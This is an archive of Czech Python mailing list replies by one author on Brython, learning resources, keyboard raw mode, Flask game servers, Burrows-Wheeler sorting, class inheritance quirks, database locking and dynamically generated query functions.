Re: [python] Python na frontendu, Brython

2016-04-20 Tema obsahu Hynek Fabian
No dobře, když už teda filozofování tak si taky přisadím…

> Takze to, ze je JS na webu hegemon ma vyhody i nevyhody. Z
> globalniho hlediska se mi libi, ze JS dava lidem "laser focus" a
> muzou se soustredit na reseni problemu a inovaci (otazka je, zda to
> tak doopravdy je?). 
Podle toho co vidím na dnešním webu je "inovace" přebalování dvacet let
starých nápadů nejlevnější phpracovní silou.

> Na druhou stranu se mi nelibi presne to, ze
> clovek nema na vyber. Jsem zastancem toho, ze na urcity problem by
> se mela pouzit adekvatni technologie. Taky pro maly tymy ktery
> nejedou na microservices (a i pro vetsi tymy co na nich jedou)
> nemusi davat smysl byt polyglotni a psat to v ruznejch jazycich,
Být polyglotní je VŽDY lepší. Ja se dokonce odvažuju tvrdit ze dokud
člověk umí jen jeden jazyk tak je jen bastlíř - ať už céčkař, javista
nebo pythonýr… Až když člověk zná jazyků více tak je Programátor.
Eric Raymond doporučuje poznat Lisp protože "That experience will make
you a better programmer for the rest of your days, even if you never
actually use LISP itself a lot."
(http://www.catb.org/esr/faqs/hacker-howto.html#skills1)

> protoze pak ti klesa schopnost udrzovat to a posouvat si mezi sebou
> vedomosti. K cemu ti je kus v super jazyku ktery se na to hodi, kdyz
> clovek co ho napsal odesel z firmy a nikdo jiny to moc neumi.
Pokud je to něco dost jednoduchého tak by právě proto neměl být problém
to pochopit. A v opačném případě by to mělo mít zřejmé nebo aspoň
zdokumentované výhody. Pokud je to opravdu dobré řešení mého problému
tak bych k tomu přece měl dojít nezávisle i kdyby to onen ujdoucí kolega
spáchal jinak.
BTW nejnesrozumitelnější kód co v haklu máme není v žádném exotickém
jazyce nebo prostředí, ale je to prostě zprasený python.
Ergo "nikdo jiny to moc neumi" není problém jazyka, ale dokumentace,
codereview, prostě štábní kultury.

> Udrzovat svuj stack na jednom jazyku dava smysl. A kdyz 80 % tvojeho
> byznysu dava smysl udelat v Pythonu, treba kvuli numpy a pandas
> atd., tak nechces mit 20 % v jinem jazyce. Je to problem. 
Jo. A ne. Pokud mám 80% kodu řekněme v pajtnu, tak to nebudu přepisovat
do Ruby protože je zrovna v módě a ty jazyky jsou si natolik podobný že
si můžu být jistý že o nic nepřicházím.
Ale pokud potřebuju dejme tomu překopat xml tak se znova (už asi popáté)
budu učit zapomenuté xslt, páčž je to správný nástroj pro takovou práci
a tečka.
Zkušenost mě naučila že když něco rychle ubastlím, tak riskuju že
nakonec spálím daleko víc času objevováním zákeřných mezních situací
který dobře znal autor "správného" řešení.
Držet se zarputile jednoho jazyka/prostředí dáva smysl jen když je tvým
cílem mít tým lidí minimálně placených, maximalně zaměnitelných… a
minimálně kompetentních.

> psat umi. Ale tim, ze existuji aspon castecna reseni, ktera nekdo
> aspon trochu pouziva, tak to neni uz uplne uzavreny jak to bylo a
> pro nejakyho vedce co by si chtel ke svemu pandas skriptu udelat
> mobilni appku v pythonu to reseni existuje, treba to Kivy. Na webu
> tohle zatim porad neni, Brython atd. jsou uplne experimentalni
> haluze, ktery nikdy nepreskocily ani na okraj mainstreamu.
Brython je narovnávák na vohejbák. Začátečníkovi přece nemůžu doporučit
něco seskládaný na tak vysokým stacku technologií že vůbec nemá šanci
pochopit jak ta věc funguje bez znalosti tuctu dalších technologií.
Člověk který kódovat umí se může rovnou naučit Javascript bez
dodatečných komplikací a obezliček. A tvůj hypotetický vědec udělá líp
když sáhne po nějakým JS frameworku který mu ušetří skutečnou práci.

> Fuj to jsem se zase rozepsal. Co si o tom myslite, krome toho, ze
> jsem blbec co to mel od zacatku psat s diakritikou?
Ja si myslím že Java přesvědčive dokázala že idea jednoho
"univerzálního" jazyka je kravina nezávisle na tom kolik peněz se do ní
naleje. Javascript je nezastupitelnej v tom na co je stavěnej a více či
měně na prd v tom ostatním. Čímž se nijak neliší od jiných jazyků…
___
Python mailing list
python@py.cz
http://www.py.cz/mailman/listinfo/python

Visit: http://www.py.cz

Re: [python] Aktuální učebnice Pythonu

2016-04-18 Tema obsahu Hynek Fabian
Zkušenému kafaři bych (jako obvykle) pro začátek doporučil krátký
článeček od Ebyho:

http://dirtsimple.org/2004/12/python-is-not-java.html

Není to o syntaxi (kterou se beztak naučíš za večer) ale spíše o zvycích
(a zlozvycích) které se odnaučit.

Dne 18.4.2016 v 13:59 Libor Jelínek napsal:
> Děkuju moc za tak rychlé a vstřícné reakce. Musím se přiznat, že
> Pythonu propadávám víc a víc.
> 
> Na odkazovaný "How to think like a computer scientist" musím říct, že
> mi nevyhovuje. Je to takový ten školský suchý styl výkladu. Styl,
> které mi nikdy nebyl blízký. Neumím představit, že kdyby toto měl být
> můj první text k programování, že mi nějak pomůže... Jako zkušenému
> programátorovi v Javě mi to tento tutoriál přijde příliš jednoduchý.
> Osobně potřebuju nějaký klidně úplně stručný, ale nezjednodušující
> výklad. Ale věřím, že svou cílovou skupinu má a děkuju ti za jeho
> překlad!
> 
> Zkusil jsem styl Dive into Python a je to lehce čitelné až veselé
> čtení. Sedí mi to určitě víc.
> 
> Děkuju za vše! Určitě se brzo zase ozvu s dalšími dotazy a snad i
> zajdu na Pyvo!
> 
> Díky a mějte se Libor
> 
> On Sunday, April 17, 2016 at 4:07:23 PM UTC+2, jaa...@gmail.com
> wrote:
>> Ahoj Libore,
>> 
>> na téma Python3 existuje také tutoriál - překlad "How To Think Like
>>  Computer Scientist - Learning with Python"
>> (http://howto.py.cz/index.htm). Protože tento překlad je převážně
>> můj výtvor, zajímalo by mne, jak může být tento text vnímán
>> zkušeným programátorem.
>> 
>> Zkus se na něj podívat a dej mi vědět. Dík, J. Kubias
>> 
>> On 15.4.2016 17:02, Libor Jelínek wrote:
>>> Zdravím všechno! Přecházím na Python a chci si udělat přehled o
>>> dostupných učebnicích. Programátor jsem, myslím, celkem zkušený
>>> ale v Javě, Groovy a C/C++.
>>> 
>>> Do jaké tištěné knihy investovat? Něco chci mít v ruce :-)
>>> 
>>> 1) v češtině - vím jen o tištěné Dive into Python 3 od CZ.NICu a
>>> tutoriálu od CPressu. Která z těchto dvou je lepší pro
>>> začítečníka?
>>> 
>>> 2) anglické - jaká je pythonovská "nejslavnější" učebnice (třeba
>>> pro Javu se mi hrozně líbí styl Bruce Eckela "Thinking in ...").
>>> 
>>> Díky za doporučení ;-) Libor 
>>> ___ Python mailing
>>> list python@py.cz http://www.py.cz/mailman/listinfo/python
>>> 
>>> Visit: http://www.py.cz
>> 
>> 
>> --- news://freenews.netfront.net/ - complaints: n...@netfront.net
>> ---
> 
> ___ Python mailing list 
> python@py.cz http://www.py.cz/mailman/listinfo/python
> 
> Visit: http://www.py.cz
> 
___
Python mailing list
python@py.cz
http://www.py.cz/mailman/listinfo/python

Visit: http://www.py.cz


Re: [python] dynamický vstup klávesnice do stránky s formulářem pod Windows

2016-04-06 Tema obsahu Hynek Fabian
raw mode na wydlich:

https://msdn.microsoft.com/en-us/library/windows/desktop/ms645543(v=vs.85).aspx

(google, deset sekund)

Dne 6.4.2016 v 14:48 Hynek Fabian napsal(a):
> To bude proto ze se to tvari jako HID zarizeni. Pokud je znakovy
> zarizeni klavesnice, da se menit vystupni mod v kernelu pres ioctl:
> 
>   ioctl(fd, KDSKBMODE, K_RAW);
> 
> V raw modu padaj z tty bajty tak jak lezou z klavesnice, je tam nejaky
> dalsi mod se scan kodama a je to cely slozity jak zebrik, ale je to
> popsany nekde v dokumentaci kernelu. (btw neplest s raw modem tty, to je
> uplne jina pisnicka). Dokonce se to necha zavolat z pajtnu, ve
> standartni knihovne je wrapper nad ioctl, ale kody asi bude potreba
> zjistit z ceckovych headeru.
> Jak je to na wydlich presne nevim, ale jelikoz dostavaj z klavesnice ty
> stejny raw kody a vyrabi z toho zase klavesnicovy znaky, tak se to snad
> nemuze moc lisit.
> 
> 
> Dne 6.4.2016 v 09:44 Petr Blahos napsal(a):
>> Ano ano, úplně stejné je to i na debianu s Gnome3 (tedy při české
>> klávesnici to píše česká písmenka 
>> místo čísel, přesněji řečeno nepíše to čísla místo písmenek).
>> --
>> Petr
>>
>>
>> 2016-04-04 8:48 GMT+02:00 Petr Blahos <petrbla...@gmail.com
>> <mailto:petrbla...@gmail.com>>:
>>
>> To, co jsem psal jsou jenom moje doměnky, ale jestli to tak je, tak
>> to bude
>> fungovat stejně na každým OS. Až půjdu s počítačem kolem USB čtečky,
>> tak to vyzkouším...
>>
>>
>> --
>> Petr
>>
>>
>> 2016-04-04 1:50 GMT+02:00 Jakub Vysoky <ja...@borka.cz
>> <mailto:ja...@borka.cz>>:
>>
>> Hehe, omlouvam se, obcas proste zapomenu, jak uzasna
>> architektura ty windows jsou :)) Diky za objasneni.
>>
>>
>> On Sunday, April 3, 2016, Petr Blahos <petrbla...@gmail.com
>> <mailto:petrbla...@gmail.com>> wrote:
>>
>> Ahoj, nevím, jak čtečky karet, ale u USB čteček barkódů je
>> tohle naprosto standardní
>> chování. HID standard jsem nestudoval, ale jelikož
>> klávesnice neví, jaká je na počítači 
>> nastavená klávesníce, tak nemůže poslat, že je to znak 9,
>> ale musí poslat 10. klávesa 
>> ve 2. řadě (čili scan kód). Z toho prostě moc není cesta ven. 
>>
>> Zatím všechny čtečky barkódů, který jsem potkal měly možnost
>> nastavení, aby neposílaly 
>> čísla z horní řady klávesníce, ale z numerické klávesnice, a
>> aby posílaly vždy velká/malá 
>> písmenka.
>>
>> To, že to posílá do aktivního okna (dokonce do políčka s
>> focusem), to tak prostě opravdu je.
>> Existuje hack - detekovat, jestli to píše opravdu rychle -
>> pak je to čtečka.
>> Proto mám raději sériové verze těchto zařízení (u čteček
>> barkódů vždy existuje),
>> ale s tím se zase blbě leze do web browseru (jde to, ale blbě).
>>
>> --
>> Petr
>>
>>
>>
>>
>>
>> ___
>> Python mailing list
>> python@py.cz
>> http://www.py.cz/mailman/listinfo/python
>>
>> Visit: http://www.py.cz
>>
> ___
> Python mailing list
> python@py.cz
> http://www.py.cz/mailman/listinfo/python
> 
> Visit: http://www.py.cz
> 
___
Python mailing list
python@py.cz
http://www.py.cz/mailman/listinfo/python

Visit: http://www.py.cz


Re: [python] dynamický vstup klávesnice do stránky s formulářem pod Windows

2016-04-06 Tema obsahu Hynek Fabian
To bude proto ze se to tvari jako HID zarizeni. Pokud je znakovy
zarizeni klavesnice, da se menit vystupni mod v kernelu pres ioctl:

  ioctl(fd, KDSKBMODE, K_RAW);

V raw modu padaj z tty bajty tak jak lezou z klavesnice, je tam nejaky
dalsi mod se scan kodama a je to cely slozity jak zebrik, ale je to
popsany nekde v dokumentaci kernelu. (btw neplest s raw modem tty, to je
uplne jina pisnicka). Dokonce se to necha zavolat z pajtnu, ve
standartni knihovne je wrapper nad ioctl, ale kody asi bude potreba
zjistit z ceckovych headeru.
Jak je to na wydlich presne nevim, ale jelikoz dostavaj z klavesnice ty
stejny raw kody a vyrabi z toho zase klavesnicovy znaky, tak se to snad
nemuze moc lisit.


Dne 6.4.2016 v 09:44 Petr Blahos napsal(a):
> Ano ano, úplně stejné je to i na debianu s Gnome3 (tedy při české
> klávesnici to píše česká písmenka 
> místo čísel, přesněji řečeno nepíše to čísla místo písmenek).
> --
> Petr
> 
> 
> 2016-04-04 8:48 GMT+02:00 Petr Blahos  >:
> 
> To, co jsem psal jsou jenom moje doměnky, ale jestli to tak je, tak
> to bude
> fungovat stejně na každým OS. Až půjdu s počítačem kolem USB čtečky,
> tak to vyzkouším...
> 
> 
> --
> Petr
> 
> 
> 2016-04-04 1:50 GMT+02:00 Jakub Vysoky  >:
> 
> Hehe, omlouvam se, obcas proste zapomenu, jak uzasna
> architektura ty windows jsou :)) Diky za objasneni.
> 
> 
> On Sunday, April 3, 2016, Petr Blahos  > wrote:
> 
> Ahoj, nevím, jak čtečky karet, ale u USB čteček barkódů je
> tohle naprosto standardní
> chování. HID standard jsem nestudoval, ale jelikož
> klávesnice neví, jaká je na počítači 
> nastavená klávesníce, tak nemůže poslat, že je to znak 9,
> ale musí poslat 10. klávesa 
> ve 2. řadě (čili scan kód). Z toho prostě moc není cesta ven. 
> 
> Zatím všechny čtečky barkódů, který jsem potkal měly možnost
> nastavení, aby neposílaly 
> čísla z horní řady klávesníce, ale z numerické klávesnice, a
> aby posílaly vždy velká/malá 
> písmenka.
> 
> To, že to posílá do aktivního okna (dokonce do políčka s
> focusem), to tak prostě opravdu je.
> Existuje hack - detekovat, jestli to píše opravdu rychle -
> pak je to čtečka.
> Proto mám raději sériové verze těchto zařízení (u čteček
> barkódů vždy existuje),
> ale s tím se zase blbě leze do web browseru (jde to, ale blbě).
> 
> --
> Petr
> 
> 
> 
> 
> 
> ___
> Python mailing list
> python@py.cz
> http://www.py.cz/mailman/listinfo/python
> 
> Visit: http://www.py.cz
> 
___
Python mailing list
python@py.cz
http://www.py.cz/mailman/listinfo/python

Visit: http://www.py.cz


Re: [python] Roboti, REST, Flask?

2015-09-11 Tema obsahu Hynek Fabian
Ja jsem asi moc ovlivnenej corewars, ale nejak mi unika k cemu by tam
sitova komunikace byla. Stacilo by kdyby klienti uploadnuli modul,
simulator si vsechny naimporti, projede a vyhodi vysledek (vitezove,
resp. zaznam tahu). Na to staci blbej sitovej share.


On 09/11/2015 11:05 AM, Honza Javorek wrote:
> Pokud bude REST API tim nejlepsim zpusobem jak to udelat (coz nemusi
> byt), tak bych to udelal nejak takto:
> 
> - hrac udela POST na nejake URL, to mu vrati HTTP kod 202, nejakou
> odpoved a Location hlavicku, v niz bude odkaz na URL s vysledkem
> - hrac dela nasledne polling na vysledkovem URL, kde se objevi odpoved
> az ve chvili, kdy bude server chtit (do te doby tam muze byt treba
> chybova odpoved informujici, ze server ceka na dalsi hrace - nejspis
> HTTP 423 Locked (WebDAV; RFC 4918), ale tohle rozsireni specky jsem
> necetl, jen podle nazvu mi to prijde nejbliz)
> 
> Maly priklad zde:
> http://restcookbook.com/Resources/asynchroneous-operations/
> 
> Honza
> 
> 2015-09-11 10:47 GMT+02:00 Ales Zoulek  >:
> 
> Ahoj,
> 
> jednotlivy hraci se budou nejak ovlinovat? (Napr pokud robot R1
> stoji na poli 3,4 nemuze na nej R2)
> 
> Pokud ne, proc proste kazdy student nekomunikuje se serverem
> samostatne podle, server si vsechny tahy nahraje zobrazi vysledky az
> kdyz vsichni tudenti poslou sve tahy?
> 
> Pokud ale opravdu musi vsechny tahy synchronisovat, pak bych rekl,
> ze implementacne bude lehci 2). Tak jak tak se zda rozumny, aby
> studenti nepsali vlastniho rest klienta a dostali se zadanim i malou
> knihovnu, ktera s tim flaskem komunikuje.
> 
> A.
> 
> On Fri, Sep 11, 2015 at 10:40 AM Petr Messner
> > wrote:
> 
> Na tohle se hodí websocket, lze to provozovat i ve Flasku. Nebo
> rovnou použit něco jiného, např. ZeroMQ.
> 
> Petr Messner
> 
> 11. 9. 2015 v 10:29, Marek Nožka  >:
> 
> > Ahoj
> >
> > Potřeboval bych malou radu. Učím programování(Python) na SŠ.
> Takže jsem
> > vymyslel(okoukal), že si budeme hrát na Roboty. Bude to tahová
> hra.
> > Jednotliví roboti(studenti) se připojí k serveru a budou mezi
> sebou soutěžit
> > o nejlepší algoritmus, který projde bludištěm podle zadaných
> pravidel.
> >
> > Na serverovou část jsem chtěl použít Flask a vytvořit
> jednoduché REST API.
> > Řeším ale jak mám obsloužit více klientů tak, aby na sebe
> navzájem počkali.
> > Každý klient by měl říct, kam táhne. Ale odpověď můžu poslat
> až potom, co
> > všichni pošlou požadavek. Napadli mě dvě řešení.
> >
> > 1) Klient pošle požadavek a čeká na odpověď. Stream odpovědi
> se ale zastaví
> >   a čeká se až se ozvou další klienti. Tohle nevím jak bych ve
> Flasku
> >   udělal -- pokud to tedy vůbec jde. Pokoušel jsem se to
> vygooglit ale na
> >   nic kloudného jsem nepřišel.
> >
> > 2) Klient pošle požadavek a za nějakou chvilku se zeptá jestli má
> >   server už odpověď. To je zase více složitosti na straně klienta.
> >
> > Protože jsem nic podobného zatím nikdy nedělal, budu vděčný za
> každou
> > připomínku, poznámku nebo radu. Co za knihovnu/framework byste mi
> > doporučovali.
> >
> > Dky
> >   Marek
> >
> > --
> > @ @ @   Marek Nožka
> > '.@
> > :*`@   email: marek <@t> tlapicka  net
> > `*'   jabber: tlapicka <@t> mitranet  cz
> >  ::  web: http://tlapicka.net/
> >  `'
> >  `'   Powered by Debian GNU/Linux
> >  `.**'
> >¨¨
> > ___
> > Python mailing list
> > python@py.cz 
> > http://www.py.cz/mailman/listinfo/python
> >
> > Visit: http://www.py.cz
> ___
> Python mailing list
> python@py.cz 
> http://www.py.cz/mailman/listinfo/python
> 
> Visit: http://www.py.cz
> 
> 
> ___
> Python mailing list
> python@py.cz 
> http://www.py.cz/mailman/listinfo/python
> 
> Visit: http://www.py.cz
> 
> 
> 
> 
> ___
> Python mailing list
> python@py.cz
> http://www.py.cz/mailman/listinfo/python
> 
> Visit: http://www.py.cz
> 
___
Python mailing list
python@py.cz
http://www.py.cz/mailman/listinfo/python

Visit: http://www.py.cz


Re: [python] Paměťově náročné řazení

2015-06-16 Tema obsahu Hynek Fabian
Ja bych na to sel jinak:

class Rotator(object):
  def __init__(self, input):
self.data = input + input
self.size = len(input)
self.indices = range(self.size)[:]
self.indices.sort(key=lambda x: self[x])

  def __getitem__(self, index):
return buffer(self.data, index, self.size)

Buffer objekty jsou vicemene jen pointery takze se nemusis moc starat
kolik jich zije a sort() jim zda se rozumi (experimentalne vyzkouseno).

On 06/15/2015 10:36 PM, Lumír Balhar wrote:
 Ahoj všem.
 
 Řeším s kamarádem jeden jeho projekt, jehož součástí je i Burrows-Wheelerova 
 transformace, která se používá před kompresí dat společně s Move to Front 
 transformací pro snížení entropie vstupních dat a tím zvýšení efektivity 
 kompresního algoritmu, kterému tyto dvě transformace předcházejí.
 
 Pochopení transformací není potřeba. U BWT se využívá tzv, buffer, který 
 obsahuje všechny možné rotace vstupních dat, takže například pro ema má 
 maso vypadá takto:
 
  0 ema ma maso
  1 ma ma masoe
  2 a ma masoem
  3  ma masoema
  4 ma masoema 
  5 a masoema m
  6  masoema ma
  7 masoema ma 
  8 asoema ma m
  9 soema ma ma
 10 oema ma mas
 
 Pro malá data je to dobré, ale pro velká nelze mít celý buffer v paměti, 
 protože se pro každý vstupní znak navíc rozšíří o řádek i sloupec zároveň.
 Napsal jsem tedy pro Buffer samostatnou třídu, kde pomocí __getitem__ 
 vygeneruji potřebný řádek posunem až ve chvíli, kdy je jeho obsah potřeba.
 
 Základní buffer jsem tím vyřešil a ušetřil hromadu paměti. Problém ale je, že 
 v dalším kroku potřebuji tento buffer lexikograficky seřadit. Abych jej opět 
 nemusel cpát do paměti, vytvořil jsem pole indexů, kde každý index 
 reprezentuje jeden řádek bufferu a řadím jen toto pole (čímž získám 
 přeskládané pořadí řádků původního bufferu), ale jako klíč používám právě 
 obsah řádku pro daný index.
 
 Konkrétně:
 
 class Buffer():
 def __init__(self, input):
 self.input = input
 self.indexes = [x for x in range(len(input))]
 
 def __getitem__(self, index):
 return self.input[index:] + self.input[0:index]
 
 def sort(self):
 self.indexes.sort(key=lambda x: self[x])
 
 
 A teď jsme se dostali k jádru problému. I když se obsah jednotlivých řádků 
 generuje až ve chvíli, kdy jsou potřeba, a řadit by se mělo jen relativně 
 malé pole indexů, při volání funkce .sort() se jakoby stejně celé to pole 
 nejdříve vytvoří v paměti, seřadí a pak se seřadí to cílové pole s indexy na 
 základě obsahu bufferu.
 
 Existuje způsob, jak implementovat takovýto řadící algoritmus pro velký objem 
 dat, aniž bych je měl v jednu chvíli všechny v paměti?
 
 Předem díky za nakopnutí tím správným směrem.
 Lumír
 ___
 Python mailing list
 python@py.cz
 http://www.py.cz/mailman/listinfo/python
 
 Visit: http://www.py.cz
 
___
Python mailing list
python@py.cz
http://www.py.cz/mailman/listinfo/python

Visit: http://www.py.cz


Re: [python] Pulnocni rozjimani :-)

2015-05-12 Tema obsahu Hynek Fabian
Skutecna zlodejna neni tak hezky deklarovana,
ale dela se pekne pod rukou:

a = SuperMaxiSecureAccount()
a.__class__ = Thief

On 05/12/2015 12:46 AM, Jan Bednařík wrote:
 Trošku z jiného soudku:
 
 $ python3
 Python 3.4.3 (default, Mar 23 2015, 04:19:36)
 [GCC 4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.57)] on darwin
 Type help, copyright, credits or license for more information.

 class Account:
 ... def deposit(self, amount):
 ... print('saved:', amount)
 ...
 class SecureAccount(Account):
 ... def safe_deposit(self, amount):
 ... print('*secure transaction begin*')
 ... super().deposit(amount)
 ... print('*secure transaction end*')
 ...
 sa = SecureAccount()
 sa.safe_deposit(100)
 *secure transaction begin*
 saved: 100
 *secure transaction end*

 class Thief(Account):
 ... def deposit(self, amount):
 ... print('STOLEN:', amount)
 ...
 class MyAccount(SecureAccount, Thief):
 ... pass
 ...
 ma = MyAccount()
 ma.safe_deposit(200)
 *secure transaction begin*
 STOLEN: 200
 *secure transaction end*

 
 Honza
 
 2015-05-11 23:57 GMT+02:00 Matěj Cepl mc...@cepl.eu
 mailto:mc...@cepl.eu:
 
 On 2015-05-11, 20:53 GMT, Honza Král wrote:
  Jen pozor, ze tohle je chovani CPythonu, tedy jedne z implementaci a
  nikoli definice chovani pythonu, nelze tedy na to spolehat a
  porovnavani integereru by se melo vzdy provadet pres == a nikdy pres
  is, i kdybychom meli 1000% jistotu, ze to budou jen cisla od 0 do 10.
  Honza Král
 
 Skutečně, neni Python jako Python:
 
 $ jython
 Jython 2.7b4 (default:3672e624962a, Feb 13 2015, 04:59:14)
 [OpenJDK 64-Bit Server VM (Oracle Corporation)] on java1.7.0_79
 Type help, copyright, credits or license for more
 information.
  a = 256
  b = 256
  a is b
 True
  a = 257
  b = 257
  a is b
 True
 
 $
 
 Zajímavě,
 
 Matěj
 --
 http://www.ceplovi.cz/matej/, Jabber: mceplatceplovi.cz
 http://ceplovi.cz
 GPG Finger: 89EF 4BC6 288A BF43 1BAB  25C3 E09F EF25 D964 84AC
 
 The ratio of literacy to illiteracy is a constant, but nowadays
 the illiterates can read.
 -- Alberto Moravia
 ___
 Python mailing list
 python@py.cz mailto:python@py.cz
 http://www.py.cz/mailman/listinfo/python
 
 Visit: http://www.py.cz
 
 
 
 
 ___
 Python mailing list
 python@py.cz
 http://www.py.cz/mailman/listinfo/python
 
 Visit: http://www.py.cz
 
___
Python mailing list
python@py.cz
http://www.py.cz/mailman/listinfo/python

Visit: http://www.py.cz


Re: [python] isdir nebo Not isdir

2015-02-12 Tema obsahu Hynek Fabian
Jestli to je cron job tak bych si tipnul ze nestiha a narazil na svoji
starsi instanci.
Pokud mas podezreni na hlubsi problemy tak bych to zkusil protlacit
rsyncem – kdyz to bude delat taky tak je tvuj pajtni kod mimo podezreni,
v opacnem pripade by mohl neco napovedet.

On 02/12/2015 06:25 PM, ZU1234 wrote:
 V jednom python-windows programu který kopíruje
 soubory a adresáře z windows na linuxový sambou sdílený adresář
 mám OPAKOVANĚ ale zcela NÁHODNĚ tento problém:
 
 if not os.path.isdir(DEST_DIR):
 MSG(2, u  Vytvářím adresář '%s' % DEST_DIR)
 os.mkdir(DEST_DIR)
 
 Adresář určitě existuje, přesto os.path.isdir() vrátí False,
 objeví se hláška od systému že adresář nelze vytvořit.
 
  Vytvářím adresář '\\server\zalohy\aaa\bbb'
 Traceback (most recent call last):
   File xxx.py, line 316, in module
 WindowsError: [Error 183] Nelze vytvořit soubor, který již existuje:
 u'server\\zalohy\\aaa\\bbb'
 
 
 Pokusím se os.path.isdir nahradit os.path.exists, ale zlobí mne to.
 
 Setkal se s tím někdo?
 
 Díky
 
 
 ___
 Python mailing list
 python@py.cz
 http://www.py.cz/mailman/listinfo/python
 
 Visit: http://www.py.cz
___
Python mailing list
python@py.cz
http://www.py.cz/mailman/listinfo/python

Visit: http://www.py.cz

Re: [python] Lock

2015-02-09 Tema obsahu Hynek Fabian
 Transakce jsem použít nechtěl, protože databáze nemusí být innodb
 dokonce ani mysql.
Kazda poradna databaze umi transakce a zamykani, protoze to je zpusob
jak se tyhle problemy spravne resi. A resi je podstatne lepe nez to kdyz
dokazes napsat ty. Rozhodne je resi lepe nez bych to napsal ja,
a to si zamek napsat umim :-p Misto vymysleni narovnavaku na ohejbak si
zjisti jak se to pouziva (nebo se tady zeptej cemu nerozumis). Pokud
chces podporovat vic databazi mas porad jednodussi napsat si nejakou
jednoduchou abstrakci nad sql dotazy nez resit problemy se zamykanim.
(nebo sahnout po nektere z milionu existujicich).
___
Python mailing list
python@py.cz
http://www.py.cz/mailman/listinfo/python

Visit: http://www.py.cz


Re: [python] dynamicke metody

2014-04-25 Tema obsahu Hynek Fabian
Jestli jsem ten puvodni priklad dobre pochopil tak chyba je tady:

setattr(self, _func, self._sql(_sql = _sql))

Pridas sice atribut se spravnym jmenem, ale nestrcis do nej referenci na
tu funkci alebrz vysledek z jejiho zavolani.

potrebujes neco _zhruba_ (strilim od boku, nevyzkouseno) takoveho:

setattr(self, _func, lambda sql, params: self._sql(_sql, params))

Mam-li to brat jako intelektualni cviceni, pripada mi to cely ponekud
prekomplikovany, stacila by uplne jednoducha fabricka funkce ktera bude
vracet uzaveru se vsim:

def queryMaker(conn, query):
  def queryStub(**params):
with conn as cur:
  cur.execute(query, params)
  return cur.fetchall()
  return queryStub

--- cut here ---
addSpam = queryMaker(conn, INSERT ham = %(ham)s INTO spam)
addSpam(ham = 42)

Strkat to jeste do slovniku nema valny smysl – pokud ho budes bouchat
rucne, je to zbytecny a pokud by tam byla nejaka dalsi abstrakce (jako
treba ze by se ten slovnik odnekud nacital) tak nejde nejak rozume
zajistit aby ocekavane parametry odpovidaly skutecnym a cely se to
rozsype. (A proto se takovy vylomeniny ve skutecnosti nedelaji…)


On 04/25/14 12:07, Marek Sirový wrote:
 Ahoj,
 
 
 diky za reakci, sqlalchemy znam a ORM taky, ale mam radeji ciste sql
 dotazy. Kazdopadne o to nejde.
 
 Pravdepodobne jsem spatne popsal problem, me nejde o to pripojit se k
 databazi, me jde o to vyzkouset si napsat tu abstrakci.
 
 Uplne konkretne, chci napsat tridu, ktera podle predaneho pole behem
 inicializace si vygeneruje metody dle slovniku. Nedelam to pro nic
 konkretniho, jen me bavi python a zkousim co vsechno jde a tim se
 ucim dalsi veci
 
 
 
 
 #moje magicka trida class db: # nejaka magie
 
 
 
 # mam slovnik: SQL = { 'addUser' : 'insert into users (name, email)
 VALUES ($name, $email);', 'delUser'  : 'delete from users where name
 = $name', }
 
 # provedu si inicializaci data = db(SQL)
 
 # a ted mam objekt data, ktery ma metodu addUser a delUser, # pricemz
 kazda z nich prebira **kwargs a podle toho doplni dotaz do db. #
 priklad:
 
 data.addUser(name = 'karel', email = 'ka...@email.tld')
 
 
 Toto pouziti je jen priklad, ktery me napadl pro vyzkouseni, SQL
 injection tam samozrejme hrozi, ale o bezpecnost tu nejde, tu bych
 stejne resil pravdepodobne uz na formularich pomoci validace a csrf,
 pak urcite na db kde z kodu volam stejne jedine procedury a pohledy,
 Ale ted si hraju s dymanickymi metodami a chci zkusit generovat je ze
 slovniku. Kod uplne v prvnim prispevku je pokus, ktery nefunguje
 protoze sem nejpis neco spatne pochopil.
 
 Predem diky
 
 ___ Python mailing list 
 python@py.cz http://www.py.cz/mailman/listinfo/python
 
 Visit: http://www.py.cz
 

___
Python mailing list
python@py.cz
http://www.py.cz/mailman/listinfo/python

Visit: http://www.py.cz

Re: [python] Překódování textových souborů z DOSu.

2014-03-03 Tema obsahu Hynek Fabian
S.translate(table [,deletechars]) - string

Return a copy of the string S, where all characters occurring
in the optional argument deletechars are removed, and the
remaining characters have been mapped through the given
translation table, which must be a string of length 256 or None.
If the table argument is None, no translation is applied and
the operation simply removes the characters in deletechars.

On 03/03/14 17:45, Ondrej Beranek wrote:
 dovolim si do toho vstoupit,
 kdybych takovou konverzi stejne chtel provest, s tim ze si sam reknu na co
 to prevest je mozne nejak konverzni tabulku dodefinovat ?

___
Python mailing list
python@py.cz
http://www.py.cz/mailman/listinfo/python

Visit: http://www.py.cz


Re: [python] Platební brána

2014-02-18 Tema obsahu Hynek Fabian
Na tohle zadny univerzlani reseni neni – banky si radeji ukousnou pravou
ruku nez aby udelaly cokoliv spolecne, nerkuli zadarmo.
Pred davnymi a davnymi casy, nez byla pozrena raifkou mela takovou
funkci ebanka. Urcite maji podobne funkce i jine banky, ale to je
vsechno vysoce proprietarni, musel bys mit specialni kod pro kazdou
takovou banku a nejspis budou jeste chtit za to privilegium platit.
Konkretne v mbance by to slo zrealizovat pres 'mtransfer'.
IMO ti nic jineho nez nejaka platebni brana nezbude, pokud nemas k ruce
utocny oddil pravniku, pevny nervy a netocis miliardy, tak nema vubec
cenu snazit se s bankovnimi domy jednat.

On 02/16/14 23:26, Ctibor.Plasek wrote:
 
 Ahoj.
 
 
 Vím, že tato problematika se přímo Pythonu netýká, ale třeba jste se někdy 
 
 s takovým problémem setkali a dokázali byste mi poradit.
 
 Dělal jsem e-shop a potřeboval bych toto:
 
 při způsobu úhrady, aby si zákazník vybral nějakou konkrétní banku - jelikož
 mám mBank, tak třeba tuto.
 
 Jak vygenerovat informace, aby když si zákazník klikne na mBank, abych ho 
 přesměroval na ttuto banku
 
 a současně, až se do ní přihlásí, tak aby už měl přednastavený formulář k 
 úhradě?
 
 Je mi jasné, že přes goPay anebo PayU toto půjde. Ale jak to udělat i bez 
 těchto platebních bran?
 
 
 
 
 Předem díky za jakékoliv názory a rady.
 
 
 
 
 Ctibor
 
 
 
 ___
 Python mailing list
 python@py.cz
 http://www.py.cz/mailman/listinfo/python
 
 Visit: http://www.py.cz
 

___
Python mailing list
python@py.cz
http://www.py.cz/mailman/listinfo/python

Visit: http://www.py.cz

